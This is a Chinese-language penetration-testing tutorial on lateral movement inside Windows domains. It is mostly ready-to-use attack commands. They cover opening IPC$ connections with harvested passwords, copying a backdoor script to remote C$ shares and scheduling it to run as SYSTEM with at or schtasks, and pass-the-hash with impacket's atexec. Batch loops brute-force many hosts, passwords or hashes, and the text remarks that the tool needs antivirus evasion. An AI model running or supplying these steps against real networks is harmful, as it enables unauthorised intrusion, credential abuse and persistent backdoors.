内网渗透-横向移动
#建立ipc连接并将后门添加至计划任务
前置条件:获取到某域主机权限->得到明文或者hash,通过信息收集到的用户列表当做用户名字典->用得到的密码明文当做密码字典
本次移动流程:尝试建立连接(ipc)->创建计划任务(at|schtasks)->执行命令,上传后门
什么是IPC?
IPC(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
#建立ipc常见错误代码
5:拒绝访问,可能需要提权
52:网络问题
53:端口未开放,未开机,防火墙拦截
67:本地lanmanworkstation服务未启动,目标删除了ipc$
1219:提供的凭据和已存在的凭据集冲突,说明已经建立ipc$,需要先删除
1326:账号密码错误
1792:目标NetLogon服务未启动
2242:用户密码过期,目标有账号策略,强制定期更改密码
#失败的原因
目标系统不是NT或者以上的操作系统
对方没有打开ipc$
139 445端口未开启或被拦截
输出命令,账号密码错误
建立ipc连接利用流程
1.建立ipc链接到目标主机(前提主机开放135 445端口)
工作组环境:
net use \\192.168.xx.xx\ipc$ "password" /user:"administrator"
域内环境:
net use \\192.168.xx.xx\ipc$ "password" /user:xxx.com\"administrator"
2.拷贝要执行的命令脚本到目标主机
copy \\192.168.xx.xx\c$\1.bat 1.bat copy 1.bat \\192.168.xx.xx\c$ dir \\192.168.x.xx\c$\ #查看目标主机文件
3.查看目标时间,创建计划任务(at,schtasks)定时执行拷贝到的脚本
net time \\192.168.xx.xx #查看时间
at在windows版本小于2012下使用
at \\192.168.xx.xx 15:32 c:\1.bat #在15:32执行c盘下的1.bat
schtasks 在windows版本大于等于windows2012下使用
shctasks /create /s 192.168.xx.xx /run "system" /tn adduser /scDAILY /tr c:\1.bat /F #创建adduser任务对应批处理脚本 schtasks /run /s 192.168.xx.xx /tn adduser /i #运行adduser任务 schtasks /delete /s 192.168.xx.xx /tn adduser /f #删除adduser任务
4.删除ipc连接
net use \\192.168.xx.xx\ipc$ /delete net view xx.xx.xx.xx #查看对方共享
#利用atexec-impacket进行明文或hash传递
atexec.exe ./administrator:Admin12345@192.168.xx.xx "whoami" #连接本地用户administrator atexec.exe xxx.com/administrator:Admin12345@192.168.xx.xx "whoami" #连接域用户administrator atexec.exe -hashes:xxx ./administrator@192.168.xx.xx "whoami" #连接本地用户administrator并进行hash传递执行whoami命令
缺点:由于是第三方工具容易被拦截,需要做免杀处理
#批量利用
#bat批处理命令 For /F %%i in (ips.txt) do net use \\%%i\ipc$ "password" /user:administrator #单个密码尝试连接多个主机 For /F %%i in(ips.txt) do atexec.exe xxx.com/administrator:password@%%i whoami #调用atexec.exe用单个密码尝试连接多个主机 For /F %%i in (pass.txt) do atexec.exe xxx.com/administrator:%%i@192.168.xx.xx whoami ##调用atexec.exe用多个密码尝试连接单个主机 For /F %%i in (hash.txt) do atexec.exe -hashes:%%i xxx.com/administrator@192.168.xx.xx whoami ##调用atexec.exe用多个HASH尝试连接单个主机